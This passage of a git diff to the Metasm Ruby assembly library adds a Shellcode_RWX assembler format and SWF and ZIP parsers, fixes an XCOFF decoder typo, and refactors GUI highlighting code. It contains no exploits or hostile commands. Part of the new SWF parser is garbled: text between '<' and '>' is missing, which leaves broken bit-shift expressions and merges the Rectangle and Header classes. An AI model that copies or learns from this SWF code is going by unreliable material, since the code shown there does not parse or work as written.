decode it def self.decode(*a) s = new @@ -216,6 +261,14 @@ end # class methods s end + def self.sizeof(exe) + new.sizeof(exe) + end + + def self.offsetof(exe, fld) + new.offsetof(exe, fld) + end + def dump(e, a) case e when Integer; e >= 0x100 ? '0x%X'%e : e diff --git a/lib/metasm/metasm/exe_format/shellcode.rb b/lib/metasm/metasm/exe_format/shellcode.rb index 1bfed69f72..df2dfa01a7 100644 --- a/lib/metasm/metasm/exe_format/shellcode.rb +++ b/lib/metasm/metasm/exe_format/shellcode.rb @@ -69,11 +69,11 @@ class Shellcode < ExeFormat parse(*a) if not a.empty? @encoded << assemble_sequence(@source, @cpu) @source.clear - encode + self end def encode(binding={}) - @encoded.fixup! binding + @encoded.fixup! binding if binding.kind_of? Hash @encoded.fixup @encoded.binding(@base_addr) @encoded.fill @encoded.rawsize self @@ -107,7 +107,11 @@ class Shellcode < ExeFormat # returns a virtual subclass of Shellcode whose cpu_from_headers will return cpu def self.withcpu(cpu) c = Class.new(self) - c.send(:define_method, :cpu_from_headers) { cpu } + c.send(:define_method, :cpu_from_headers) { + cpu = Metasm.const_get(cpu) if cpu.kind_of?(::String) + cpu = cpu.new if cpu.kind_of?(::Class) and cpu.ancestors.include?(CPU) + cpu + } c end end diff --git a/lib/metasm/metasm/exe_format/shellcode_rwx.rb b/lib/metasm/metasm/exe_format/shellcode_rwx.rb new file mode 100644 index 0000000000..9ef0980edf --- /dev/null +++ b/lib/metasm/metasm/exe_format/shellcode_rwx.rb @@ -0,0 +1,114 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/exe_format/main' + +module Metasm +# Similar to Shellcode, with distinct sections per memory permission (R / RW / RX) +# encoding-side only +class Shellcode_RWX < ExeFormat + # the array of source elements (Instr/Data etc) + attr_accessor :source_r, :source_w, :source_x + # base address per section + attr_accessor :base_r, :base_w, :base_x + # encodeddata + attr_accessor :encoded_r, :encoded_w, :encoded_x + + def initialize(cpu=nil) + @base_r = @base_w = @base_x = nil + @encoded_r = EncodedData.new + @encoded_w = EncodedData.new + @encoded_x = EncodedData.new + + super(cpu) + end + + def parse_init + @source_r = [] + @source_w = [] + @source_x = [] + @cursource = @source_x + super() + end + + # allows definition of the base address + def parse_parser_instruction(instr) + case instr.raw.downcase + when '.base', '.baseaddr', '.base_addr' + # ".base_addr " + # expression should #reduce to integer + @lexer.skip_space + raise instr, 'syntax error' if not base = Expression.parse(@lexer).reduce + raise instr, 'syntax error' if tok = @lexer.nexttok and tok.type != :eol + if @cursource.equal?(@source_r) + @base_r = base + elsif @cursource.equal?(@source_w) + @base_w = base + elsif @cursource.equal?(@source_x) + @base_x = base + else raise instr, "Where am I ?" + end + when '.rdata', '.rodata' + @cursource = @source_r + when '.data', '.bss' + @cursource = @source_w + when '.text' + @cursource = @source_x + else super(instr) + end + end + + # encodes the source found in self.source + # appends it to self.encoded + # clears self.source + # the optional parameter may contain a binding used to fixup! self.encoded + # uses self.base_addr if it exists + def assemble(*a) + parse(*a) if not a.empty? + @encoded_r << assemble_sequence(@source_r, @cpu); @source_r.clear + @encoded_w << assemble_sequence(@source_w, @cpu); @source_w.clear + @encoded_x << assemble_sequence(@source_x, @cpu); @source_x.clear + self + end + + def encode(binding={}) + bd = {} + bd.update @encoded_r.binding(@base_r) + bd.update @encoded_w.binding(@base_w) + bd.update @encoded_x.binding(@base_x) + bd.update binding if binding.kind_of?(Hash) + @encoded_r.fixup bd + @encoded_w.fixup bd + @encoded_x.fixup bd + self + end + alias fixup encode + + # resolve inter-section xrefs, raise if unresolved relocations remain + # call this when you have assembled+allocated memory for every section + def fixup_check(base_r=nil, base_w=nil, base_x=nil, bd={}) + if base_r.kind_of?(Hash) + bd = base_r + base_r = nil + end + @base_r = base_r if base_r + @base_w = base_w if base_w + @base_x = base_x if base_x + fixup bd + ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x + raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty? + self + end + + def encode_string(*a) + encode(*a) + ed = EncodedData.new << @encoded_r << @encoded_w << @encoded_x + ed.fixup(ed.binding) + raise ["Unresolved relocations:", ed.reloc.map { |o, r| "#{r.target} " + (Backtrace.backtrace_str(r.backtrace) if r.backtrace).to_s }].join("\n") if not ed.reloc.empty? + ed.data + end +end +end diff --git a/lib/metasm/metasm/exe_format/swf.rb b/lib/metasm/metasm/exe_format/swf.rb new file mode 100644 index 0000000000..3d7254d6bd --- /dev/null +++ b/lib/metasm/metasm/exe_format/swf.rb @@ -0,0 +1,205 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' +begin + require 'zlib' +rescue LoadError +end + +module Metasm +class SWF < ExeFormat + attr_accessor :signature, :version, :header, :chunks + + CHUNK_TYPE = { + 0 => 'End', 1 => 'ShowFrame', 2 => 'DefineShape', 3 => 'FreeCharacter', + 4 => 'PlaceObject', 5 => 'RemoveObject', 6 => 'DefineBits', 7 => 'DefineButton', + 8 => 'JPEGTables', 9 => 'SetBackgroundColor', 10 => 'DefineFont', 11 => 'DefineText', + 12 => 'DoAction', 13 => 'DefineFontInfo', 14 => 'DefineSound', 15 => 'StartSound', + 16 => 'StopSound', 17 => 'DefineButtonSound', 18 => 'SoundStreamHead', 19 => 'SoundStreamBlock', + 20 => 'DefineBitsLossless', 21 => 'DefineBitsJPEG2', 22 => 'DefineShape2', 23 => 'DefineButtonCxform', + 24 => 'Protect', 25 => 'PathsArePostScript', 26 => 'PlaceObject2', + 28 => 'RemoveObject2', 29 => 'SyncFrame', 31 => 'FreeAll', + 32 => 'DefineShape3', 33 => 'DefineText2', 34 => 'DefineButton2', 35 => 'DefineBitsJPEG3', + 36 => 'DefineBitsLossless2', 37 => 'DefineEditText', 38 => 'DefineVideo', 39 => 'DefineSprite', + 40 => 'NameCharacter', 41 => 'ProductInfo', 42 => 'DefineTextFormat', 43 => 'FrameLabel', + 44 => 'DefineBehavior', 45 => 'SoundStreamHead2', 46 => 'DefineMorphShape', 47 => 'FrameTag', + 48 => 'DefineFont2', 49 => 'GenCommand', 50 => 'DefineCommandObj', 51 => 'CharacterSet', + 52 => 'FontRef', 53 => 'DefineFunction', 54 => 'PlaceFunction', 55 => 'GenTagObject', + 56 => 'ExportAssets', 57 => 'ImportAssets', 58 => 'EnableDebugger', 59 => 'DoInitAction', + 60 => 'DefineVideoStream', 61 => 'VideoFrame', 62 => 'DefineFontInfo2', 63 => 'DebugID', + 64 => 'EnableDebugger2', 65 => 'ScriptLimits', 66 => 'SetTabIndex', 67 => 'DefineShape4', + 68 => 'DefineMorphShape2', 69 => 'FileAttributes', 70 => 'PlaceObject3', 71 => 'ImportAssets2', + 72 => 'DoABC', 76 => 'SymbolClass', 82 => 'DoABC2', + } + + class SerialStruct < Metasm::SerialStruct + new_int_field :u8, :u16, :u32, :f16, :f32 + end + + class Rectangle < SerialStruct + virtual :nbits, :xmin, :xmax, :ymin, :ymax + + def decode(swf) + byte = swf.decode_u8 + bleft = 3 + @nbits = byte >> bleft + @xmin, @xmax, @ymin, @ymax = (0..3).map { + nb = @nbits + v = 0 + while nb > bleft + nb -= bleft + v |= (byte & ((1<> (bleft-nb)) & ((1<= 0 + # reserve sign bit + (v >> (nb-1)) == 0 + else + (v >> nb) == -1 + end + } } || 31 + end + + def encode(swf) + ed = super(swf) + + byte = @nbits << 3 + bleft = 3 + [@xmin, @xmax, @ymin, @ymax].each { |v| + nb = @nbits + while nb > bleft + byte |= (v >> (nb-bleft)) & ((1<> 8) & 0xff) | ((@framerate & 0xff) << 8) if swf.endianness == :little + end + + def decode(swf) + @view = Rectangle.decode(swf) + super(swf) + bswap_framerate(swf) + end + + def encode(swf) + ed = @view.encode(swf) + bswap_framerate(swf) + ed << super(swf) + bswap_framerate(swf) + ed + end + end + + class Chunk < SerialStruct + bitfield :u16, 0 => :length_, 6 => :tag + fld_enum :tag, CHUNK_TYPE + attr_accessor :data + + def decode(swf) + super(swf) + @length = (@length_ == 0x3f ? swf.decode_u32 : @length_) + @data = swf.encoded.read(@length) + end + + def set_default_values(swf) + @length = @data.length + @length_ = [@length, 0x3f].min + end + + def encode(swf) + super(swf) << + (swf.encode_u32(@length) if @length >= 0x3f) << + @data + end + end + + def decode_u8( edata=@encoded) edata.decode_imm(:u8, @endianness) end + def decode_u16(edata=@encoded) edata.decode_imm(:u16, @endianness) end + def decode_u32(edata=@encoded) edata.decode_imm(:u32, @endianness) end + def decode_f16(edata=@encoded) edata.decode_imm(:i16, @endianness)/256.0 end + def decode_f32(edata=@encoded) edata.decode_imm(:i32, @endianness)/65536.0 end + def encode_u8(w) Expression[w].encode(:u8, @endianness) end + def encode_u16(w) Expression[w].encode(:u16, @endianness) end + def encode_u32(w) Expression[w].encode(:u32, @endianness) end + def encode_f16(w) Expression[(w*256).to_i].encode(:u16, @endianness) end + def encode_f32(w) Expression[(w*65536).to_i].encode(:u32, @endianness) end + def sizeof_u8 ; 1 ; end + def sizeof_u16 ; 2 ; end + def sizeof_u32 ; 4 ; end + def sizeof_f16 ; 2 ; end + def sizeof_f32 ; 4 ; end + + attr_accessor :endianness + def initialize(cpu = nil) + @endianness = :little + @header = Header.new + @chunks = [] + super(cpu) + end + + def decode_header + @signature = @encoded.read(3) + @version = decode_u8 + @data_length = decode_u32 + case @signature + when 'FWS' + when 'CWS' + # data_length = uncompressed data length + data = @encoded.read(@encoded.length-8) + data = Zlib::Inflate.inflate(data) + @encoded = EncodedData.new(data) + else raise InvalidExeFormat, "Bad signature #{@signature.inspect}" + end + @data_length = [@data_length, @encoded.length].min + @header = Header.decode(self) + end + + def decode + decode_header + while @encoded.ptr < @data_length + @chunks << Chunk.decode(self) + end + end +end +end diff --git a/lib/metasm/metasm/exe_format/xcoff.rb b/lib/metasm/metasm/exe_format/xcoff.rb index 1836d34f2d..2e3a21e7da 100644 --- a/lib/metasm/metasm/exe_format/xcoff.rb +++ b/lib/metasm/metasm/exe_format/xcoff.rb @@ -51,7 +51,7 @@ class XCoff < ExeFormat @nsec ||= xcoff.sections.size @symptr ||= xcoff.symbols ? xcoff.new_label('symptr') : 0 @nsym ||= xcoff.symbols ? xcoff.symbols.length : 0 - @opthdr ||= xcoff.optheader ? OptHeader.size(xcoff) : 0 + @opthdr ||= xcoff.optheader ? xcoff.optheader.sizeof(xcoff) : 0 super(xcoff) end end @@ -61,13 +61,9 @@ class XCoff < ExeFormat xwords :tsize, :dsize, :bsize, :entry, :text_start, :data_start, :toc halfs :snentry, :sntext, :sndata, :sntoc, :snloader, :snbss, :aligntext, :aligndata, :modtype, :cpu xwords :maxstack, :maxdata - new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, '') + new_field(:res, lambda { |exe, me| exe.encoded.read(exe.intsize == 32 ? 8 : 120) }, lambda { |exe, me, val| val }, lambda { |exe, me| exe.intsize == 32 ? 8 : 120 }, '') - def self.size(xcoff) - xcoff.intsize == 32 ? 2*2+7*4+10*2+2*4+2+8 : 2*2+7*8+10*2+2*8+2+120 - end - def set_default_values(xcoff) @vstamp ||= 1 @snentry ||= 1 @@ -99,12 +95,16 @@ class XCoff < ExeFormat # basic immediates decoding functions def decode_half( edata = @encoded) edata.decode_imm(:u16, @endianness) end def decode_word( edata = @encoded) edata.decode_imm(:u32, @endianness) end - def decode_xhalf(edata = @encoded) edata.edoced_imm((@intsize == 32 ? :u16 : :u32), @endianness) end + def decode_xhalf(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u16 : :u32), @endianness) end def decode_xword(edata = @encoded) edata.decode_imm((@intsize == 32 ? :u32 : :u64), @endianness) end def encode_half(w) Expression[w].encode(:u16, @endianness) end def encode_word(w) Expression[w].encode(:u32, @endianness) end def encode_xhalf(w) Expression[w].encode((@intsize == 32 ? :u16 : :u32), @endianness) end def encode_xword(w) Expression[w].encode((@intsize == 32 ? :u32 : :u64), @endianness) end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + def sizeof_xhalf ; @intsize == 32 ? 2 : 4 ; end + def sizeof_xword ; @intsize == 32 ? 4 : 8 ; end attr_accessor :header, :segments, :relocs, :intsize, :endianness diff --git a/lib/metasm/metasm/exe_format/zip.rb b/lib/metasm/metasm/exe_format/zip.rb new file mode 100644 index 0000000000..e5ba04b4d4 --- /dev/null +++ b/lib/metasm/metasm/exe_format/zip.rb @@ -0,0 +1,335 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' +begin + require 'zlib' +rescue LoadError +end + +# generic ZIP file, may be an APK or JAR +# supports only a trivial subset of the whole ZIP specification +# single file archive +# deflate or no compression +# no encryption +# 32bit offsets/sizes + +module Metasm +class ZIP < ExeFormat + MAGIC_LOCALHEADER = 0x04034b50 + COMPRESSION_METHOD = { 0 => 'NONE', 1 => 'SHRUNK', 2 => 'REDUCE1', 3 => 'REDUCE2', + 4 => 'REDUCE3', 5 => 'REDUCE4', 6 => 'IMPLODE', 7 => 'TOKENIZED', + 8 => 'DEFLATE', 9 => 'DEFLATE64', 10 => 'OLDTERSE', 12 => 'BZIP2', 14 => 'LZMA', + 18 => 'TERSE', 19 => 'LZ77', 97 => 'WAVPACK', 98 => 'PPMD' } + + # zip file format: + # + # [local header 1] + # compressed data 1 + # + # [local header 2] + # compressed data 2 + # + # [central header 1] + # [central header 2] + # + # [end of central directory] + + class LocalHeader < SerialStruct + word :signature, MAGIC_LOCALHEADER + half :verneed, 10 + half :flags # bit 3 => has data descriptor following the compressed data + half :compress_method, 0, COMPRESSION_METHOD + halfs :mtime, :mdate + word :crc32 + words :compressed_sz, :uncompressed_sz + halfs :fname_len, :extra_len + attr_accessor :fname, :extra + attr_accessor :compressed_off + + def decode(zip) + super(zip) + raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_LOCALHEADER + @fname = zip.encoded.read(@fname_len) if @fname_len > 0 + @extra = zip.encoded.read(@extra_len) if @extra_len > 0 + @compressed_off = zip.encoded.ptr + end + + def set_default_values(zip) + @fname_len = fname ? @fname.length : 0 + @extra_len = extra ? @extra.length : 0 + super(zip) + end + + def encode(zip) + ed = super(zip) + ed << fname << extra + end + + # return a new LocalHeader with all fields copied from a CentralHeader + def self.from_central(f) + l = new + l.verneed = f.verneed + l.flags = f.flags + l.compress_method = f.compress_method + l.mtime = f.mtime + l.mdate = f.mdate + l.crc32 = f.crc32 + l.compressed_sz = f.compressed_sz + l.uncompressed_sz = f.uncompressed_sz + l.fname = f.fname + l.extra = f.extra + l + end + end + + MAGIC_CENTRALHEADER = 0x02014b50 + class CentralHeader < SerialStruct + word :signature, MAGIC_CENTRALHEADER + half :vermade, 10 + half :verneed, 10 + half :flags + half :compress_method, 0, COMPRESSION_METHOD + halfs :mtime, :mdate + word :crc32 + words :compressed_sz, :uncompressed_sz + halfs :fname_len, :extra_len, :comment_len + half :disk_nr + half :file_attr_intern + word :file_attr_extern + word :localhdr_off + attr_accessor :fname, :extra, :comment + attr_accessor :data + + def decode(zip) + super(zip) + raise "Invalid ZIP signature #{@signature.to_s(16)}" if @signature != MAGIC_CENTRALHEADER + @fname = zip.encoded.read(@fname_len) if @fname_len > 0 + @extra = zip.encoded.read(@extra_len) if @extra_len > 0 + @comment = zip.encoded.read(@comment_len) if @comment_len > 0 + end + + def set_default_values(zip) + @fname_len = fname ? @fname.length : 0 + @extra_len = extra ? @extra.length : 0 + @comment_len = comment ? @comment.length : 0 + super(zip) + end + + def encode(zip) + ed = super(zip) + ed << fname << extra << comment + end + + # reads the raw file data from the archive + def file_data(zip) + return @data if data + + zip.encoded.ptr = @localhdr_off + LocalHeader.decode(zip) + raw = zip.encoded.read(@compressed_sz) + @data = case @compress_method + when 'NONE' + raw + when 'DEFLATE' + z = Zlib::Inflate.new(-Zlib::MAX_WBITS) + z.inflate(raw) + else + raise "Unsupported zip compress method #@compress_method" + end + end + + def zlib_deflate(data, level=Zlib::DEFAULT_COMPRESSION) + z = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) + z.deflate(data) + z.finish + end + + # encode the data, fixup related fields + def encode_data(zip) + data = file_data(zip) + @compress_method = 'NONE' if data == '' + + @crc32 = Zlib.crc32(data) + @uncompressed_sz = data.length + + case compress_method + when 'NONE' + when 'DEFLATE' + data = zlib_deflate(data) + when nil + # autodetect compression method + # compress if we win more than 10% space + cdata = zlib_deflate(data) + ratio = cdata.length * 100 / data.length + if ratio < 90 + @compress_method = 'DEFLATE' + data = cdata + else + @compress_method = 'NONE' + end + end + + @compressed_sz = data.length + + data + end + end + + MAGIC_ENDCENTRALDIRECTORY = 0x06054b50 + class EndCentralDirectory < SerialStruct + word :signature, MAGIC_ENDCENTRALDIRECTORY + halfs :disk_nr, :disk_centraldir, :entries_nr_thisdisk, :entries_nr + word :directory_sz + word :directory_off + half :comment_len + attr_accessor :comment + + def decode(zip) + super(zip) + raise "Invalid ZIP end signature #{@signature.to_s(16)}" if @signature != MAGIC_ENDCENTRALDIRECTORY + @comment = zip.encoded.read(@comment_len) if @comment_len > 0 + end + + def set_default_values(zip) + @entries_nr_thisdisk = zip.files.length + @entries_nr = zip.files.length + @comment_len = comment ? @comment.length : 0 + super(zip) + end + + def encode(zip) + ed = super(zip) + ed << comment + end + end + + def decode_half(edata=@encoded) edata.decode_imm(:u16, @endianness) end + def decode_word(edata=@encoded) edata.decode_imm(:u32, @endianness) end + def encode_half(w) Expression[w].encode(:u16, @endianness) end + def encode_word(w) Expression[w].encode(:u32, @endianness) end + def sizeof_half ; 2 ; end + def sizeof_word ; 4 ; end + + attr_accessor :files, :header + + def initialize(cpu = nil) + @endianness = :little + @header = EndCentralDirectory.new + @files = [] + super(cpu) + end + + # scan and decode the 'end of central directory' header + def decode_header + if not @encoded.ptr = @encoded.data.rindex([MAGIC_ENDCENTRALDIRECTORY].pack('V')) + raise "ZIP: no end of central directory record" + end + @header = EndCentralDirectory.decode(self) + end + + # read the whole central directory file descriptors + def decode + decode_header + @encoded.ptr = @header.directory_off + while @encoded.ptr < @header.directory_off + @header.directory_sz + @files << CentralHeader.decode(self) + end + end + + # checks if a given file name exists in the archive + # returns the CentralHeader or nil + # case-insensitive if lcase is false + def has_file(fname, lcase=true) + decode if @files.empty? + if lcase + @files.find { |f| f.fname == fname } + else + fname = fname.downcase + @files.find { |f| f.fname.downcase == fname } + end + end + + # returns the uncompressed raw file content from a given name + # nil if name not found + # case-insensitive if lcase is false + def file_data(fname, lcase=true) + if f = has_file(fname, lcase) + f.file_data(self) + end + end + + # add a new file to the zip archive + def add_file(fname, data, compress=:auto) + f = CentralHeader.new + + case compress + when 'NONE', false; f.compress_method = 'NONE' + when 'DEFLATE', true; f.compress_method = 'DEFLATE' + end + + f.fname = fname + f.data = data + + @files << f + f + end + + # create a new zip file + def encode + edata = EncodedData.new + central_dir = EncodedData.new + + @files.each { |f| + encode_entry(f, edata, central_dir) + } + + @header.directory_off = edata.length + @header.directory_sz = central_dir.length + + edata << central_dir << @header.encode(self) + + @encoded = edata + end + + # add one file to the zip stream + def encode_entry(f, edata, central_dir) + f.localhdr_off = edata.length + + # may autodetect compression method + raw = f.encode_data(self) + + zipalign(f, edata) + + central_dir << f.encode(self) # calls f.set_default_values + + l = LocalHeader.from_central(f) + edata << l.encode(self) + + edata << raw + end + + # zipalign: ensure uncompressed data starts on a 4-aligned offset + def zipalign(f, edata) + if f.compress_method == 'NONE' and not f.extra + o = (edata.length + f.fname.length + 2) & 3 + f.extra = " "*(4-o) if o > 0 + end + + end + + # when called as AutoExe, try to find a meaningful exefmt + def self.autoexe_load(bin) + z = decode(bin) + if dex = z.file_data('classes.dex') + puts "ZIP: APK file, loading 'classes.dex'" if $VERBOSE + AutoExe.load(dex) + else + z + end + end +end +end diff --git a/lib/metasm/metasm/gui.rb b/lib/metasm/metasm/gui.rb index 4aa150e0fd..36630d4459 100644 --- a/lib/metasm/metasm/gui.rb +++ b/lib/metasm/metasm/gui.rb @@ -1,23 +1,13 @@ -backend = case ENV['METASM_GUI'] -when 'gtk'; 'gtk' -when 'qt'; 'qt' -when 'win32'; 'win32' -else - puts "Unsupported METASM_GUI #{ENV['METASM_GUI'].inspect}" if $VERBOSE and ENV['METASM_GUI'] +backend = ENV['METASM_GUI'] || ( if RUBY_PLATFORM =~ /(i.86|x(86_)?64)-(mswin|mingw|cygwin)/i 'win32' else - begin - require 'gtk2' - 'gtk' - rescue LoadError - #begin - # require 'Qt4' - # 'qt' - #rescue LoadError + begin + require 'gtk2' + 'gtk' + rescue LoadError raise LoadError, 'No GUI ruby binding installed - please install libgtk2-ruby' - #end + end end - end -end +) require "metasm/gui/#{backend}" diff --git a/lib/metasm/metasm/gui/cstruct.rb b/lib/metasm/metasm/gui/cstruct.rb index 55c3c5c477..2fe8fa8c48 100644 --- a/lib/metasm/metasm/gui/cstruct.rb +++ b/lib/metasm/metasm/gui/cstruct.rb @@ -23,8 +23,7 @@ class CStructWidget < DrawableWidget @cwidth = @cheight = 1 # widget size in chars @structdepth = 2 - @default_color_association = { :text => :black, :keyword => :blue, :caret => :black, - :background => :white, :hl_word => :palered, :comment => :darkblue } + @default_color_association = ColorTheme.merge :keyword => :blue end def click(x, y) @@ -90,19 +89,7 @@ class CStructWidget < DrawableWidget elsif cx < @view_x else t = t[(@view_x - cx + t.length)..-1] if cx-t.length < @view_x - if @hl_word - stmp = t - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length*@font_width - hl_w = s2.length*@font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_w, @font_height) - pre_x += hl_w - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(c, x, y, t) + draw_string_hl(c, x, y, t) x += t.length * @font_width end } @@ -116,7 +103,7 @@ class CStructWidget < DrawableWidget cy = (@caret_y-@view_y)*@font_height draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) end - + @oldcaret_x, @oldcaret_y = @caret_x, @caret_y end @@ -179,28 +166,31 @@ class CStructWidget < DrawableWidget when ?l liststructs when ?t - inputbox('new struct name to use', :text => (@curstruct.name rescue '')) { |n| - lst = @dasm.c_parser.toplevel.struct.keys.grep(String) - if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } - focus_addr(@curaddr, @dasm.c_parser.toplevel.struct[fn]) - else - lst = @dasm.c_parser.toplevel.symbol.keys.grep(String).find_all { |ln| - s = @dasm.c_parser.toplevel.symbol[ln] - s.kind_of?(C::TypeDef) and s.untypedef.kind_of?(C::Union) - } - if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } - focus_addr(@curaddr, @dasm.c_parser.toplevel.symbol[fn].untypedef) - else - liststructs(n) - end - end - } + inputbox('new struct name to use', :text => (@curstruct.name rescue '')) { |n| focus_struct_byname(n) } else return false end true end - def liststructs(partname=nil) + # display the struct or pop a list of matching struct names if ambiguous + def focus_struct_byname(n, addr=@curaddr) + lst = @dasm.c_parser.toplevel.struct.keys.grep(String) + if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } + focus_addr(addr, @dasm.c_parser.toplevel.struct[fn]) + else + lst = @dasm.c_parser.toplevel.symbol.keys.grep(String).find_all { |ln| + s = @dasm.c_parser.toplevel.symbol[ln] + s.kind_of?(C::TypeDef) and s.untypedef.kind_of?(C::Union) + } + if fn = lst.find { |ln| ln == n } || lst.find { |ln| ln.downcase == n.downcase } + focus_addr(addr, @dasm.c_parser.toplevel.symbol[fn].untypedef) + else + liststructs(n, addr) + end + end + end + + def liststructs(partname=nil, addr=@curaddr) tl = @dasm.c_parser.toplevel list = [['name', 'size']] list += tl.struct.keys.grep(String).sort.map { |stn| @@ -216,12 +206,12 @@ class CStructWidget < DrawableWidget }.compact if partname and list.length == 2 - focus_addr(@curaddr, tl.struct[list[1][0]] || tl.symbol[list[1][0]].untypedef) + focus_addr(addr, tl.struct[list[1][0]] || tl.symbol[list[1][0]].untypedef) return end listwindow('structs', list) { |stn| - focus_addr(@curaddr, tl.struct[stn[0]] || tl.symbol[stn[0]].untypedef) + focus_addr(addr, tl.struct[stn[0]] || tl.symbol[stn[0]].untypedef) } end @@ -240,7 +230,7 @@ class CStructWidget < DrawableWidget def update_caret if @caret_x < @view_x or @caret_x >= @view_x + @cwidth or @caret_y < @view_y or @caret_y >= @view_y + @cheight redraw - elsif update_hl_word(@line_text[@caret_y], @caret_x) + elsif update_hl_word(@line_text[@caret_y], @caret_x, :c) redraw else invalidate_caret(@oldcaret_x-@view_x, @oldcaret_y-@view_y) @@ -254,9 +244,14 @@ class CStructWidget < DrawableWidget def focus_addr(addr, struct=@curstruct) return if @parent_widget and not addr = @parent_widget.normalize(addr) @curaddr = addr - @curstruct = struct @caret_x = @caret_y = 0 - gui_update + if struct.kind_of? String + @curstruct = nil + focus_struct_byname(struct) + else + @curstruct = struct + gui_update + end true end @@ -278,7 +273,7 @@ class CStructWidget < DrawableWidget @line_text_col << [] render[indent * [@structdepth - maxdepth, 0].max, :text] } - + if not obj @line_text_col = [[]] @line_dereference = [] @@ -308,7 +303,6 @@ class CStructWidget < DrawableWidget elsif struct.kind_of?(C::Struct) render["struct #{struct.name || '_'} st_#{Expression[@curaddr]} = ", :text] if not off fldoff = struct.fldoffset - fbo = struct.fldbitoffset || {} else render["union #{struct.name || '_'} un_#{Expression[@curaddr]} = ", :text] if not off end @@ -363,7 +357,7 @@ class CStructWidget < DrawableWidget else @line_text_col = [[[:text, '/* no struct selected (list with "l") */']]] end - + @line_text = @line_text_col.map { |l| l.map { |c, s| s }.join } update_caret redraw diff --git a/lib/metasm/metasm/gui/dasm_coverage.rb b/lib/metasm/metasm/gui/dasm_coverage.rb index c2a7640aac..0278198fcc 100644 --- a/lib/metasm/metasm/gui/dasm_coverage.rb +++ b/lib/metasm/metasm/gui/dasm_coverage.rb @@ -19,15 +19,15 @@ class CoverageWidget < DrawableWidget @section_x = [] @slave = nil # another dasmwidget whose curaddr is kept sync - @default_color_association = { :caret => :yellow, :caret_col => :darkyellow, - :background => :palegrey, :code => :red, :data => :blue } + @default_color_association = ColorTheme.merge :caret => :yellow, :caret_col => :darkyellow, + :background => :palegrey, :code => :red, :data => :blue end def click(x, y) x, y = x.to_i - 1, y.to_i - @sections.zip(@section_x).each { |(a, l, seq), (sx, sxe)| - if x >= sx and x < sxe+@pixel_w - @curaddr = a + (x-sx)/@pixel_w*@byte_per_col + (y/@pixel_h-@spacing)*@byte_per_col/@col_height + @sections.zip(@section_x).each { |s, sx| + if x >= sx[0] and x < sx[1]+@pixel_w + @curaddr = s[0] + (x-sx[0])/@pixel_w*@byte_per_col + (y/@pixel_h-@spacing)*@byte_per_col/@col_height @slave.focus_addr(@curaddr) if @slave rescue @slave=nil redraw break @@ -125,13 +125,13 @@ class CoverageWidget < DrawableWidget x += @spacing*@pixel_w } - @sections.zip(@section_x).each { |(a, l, seq), (sx, sxe)| - next if @curaddr.kind_of? Integer and not a.kind_of? Integer - next if @curaddr.kind_of? Expression and not a.kind_of? Expression - co = @curaddr-a - if co >= 0 and co < l + @sections.zip(@section_x).each { |s, sx| + next if @curaddr.kind_of? Integer and not s[0].kind_of? Integer + next if @curaddr.kind_of? Expression and not s[0].kind_of? Expression + co = @curaddr-s[0] + if co >= 0 and co < s[1] draw_color :caret_col - x = sx + (co/@byte_per_col)*@pixel_w + x = sx[0] + (co/@byte_per_col)*@pixel_w draw_rect[-@spacing, -1, 1] draw_rect[@col_height, @col_height+@spacing, 1] draw_color :caret diff --git a/lib/metasm/metasm/gui/dasm_decomp.rb b/lib/metasm/metasm/gui/dasm_decomp.rb index da9b6d3e3d..14de7cbadf 100644 --- a/lib/metasm/metasm/gui/dasm_decomp.rb +++ b/lib/metasm/metasm/gui/dasm_decomp.rb @@ -19,9 +19,8 @@ class CdecompListingWidget < DrawableWidget @curaddr = nil @tabwidth = 8 - @default_color_association = { :text => :black, :keyword => :blue, :caret => :black, - :background => :white, :hl_word => :palered, :localvar => :darkred, - :globalvar => :darkgreen, :intrinsic => :darkyellow } + @default_color_association = ColorTheme.merge :keyword => :blue, :localvar => :darkred, + :globalvar => :darkgreen, :intrinsic => :darkyellow end def curfunc @@ -91,19 +90,7 @@ class CdecompListingWidget < DrawableWidget # must not include newline render = lambda { |str, color| # function ends when we write under the bottom of the listing - if @hl_word - stmp = str - pre_x = 0 - while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/ - s1, s2 = $1, $2 - pre_x += s1.length*@font_width - hl_w = s2.length*@font_width - draw_rectangle_color(:hl_word, x+pre_x, y, hl_w, @font_height) - pre_x += hl_w - stmp = stmp[s1.length+s2.length..-1] - end - end - draw_string_color(color, x, y, str) + draw_string_hl(color, x, y, str) x += str.length * @font_width } @@ -128,7 +115,7 @@ class CdecompListingWidget < DrawableWidget cy = (@caret_y-@view_y)*@font_height draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) end - + @oldcaret_x, @oldcaret_y = @caret_x, @caret_y end @@ -184,7 +171,7 @@ class CdecompListingWidget < DrawableWidget f.decompdata[:stackoff_name][s.stackoff] = v if s.stackoff elsif 